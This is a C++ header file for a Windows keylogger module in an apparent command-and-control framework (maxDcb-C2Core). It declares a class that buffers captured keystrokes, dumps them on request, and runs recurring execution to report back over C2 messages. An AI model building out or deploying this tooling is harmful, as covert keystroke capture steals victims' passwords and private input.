maxDcb-C2Core/modules/KeyLogger/KeyLogger.hpp

#pragma once

#include "ModuleCmd.hpp"
#include <mutex>


class KeyLogger : public ModuleCmd
{

public:
	KeyLogger();
	~KeyLogger();

	std::string getInfo();

	int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
	int process(C2Message& c2Message, C2Message& c2RetMessage);
	int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
	int recurringExec(C2Message& c2RetMessage);
	int followUp(const C2Message &c2RetMessage);
	int osCompatibility() 
	{
        return OS_WINDOWS;
    }

	bool getIsThreadLaunched()
	{
		return m_isThreadLaunched;
	}

	int setKey(char charPressed)
	{
		std::lock_guard<std::mutex> guard(m_mutex);
		m_saveKeyStrock.push_back(charPressed);
		return 0;
	}

	int dumpKeys(std::string& output)
	{
		std::lock_guard<std::mutex> guard(m_mutex);
		output = m_saveKeyStrock;
		m_saveKeyStrock.clear();
		return 0;
	}
	
private:
 	int threadID; 
	bool m_isThreadLaunched;
	std::string m_saveKeyStrock;
	std::mutex m_mutex;

	static void run(void* keyLoggerPtr);

};


#ifdef _WIN32

extern "C" __declspec(dllexport) KeyLogger * KeyLoggerConstructor();

#else

extern "C"  __attribute__((visibility("default"))) KeyLogger * KeyLoggerConstructor();

#endif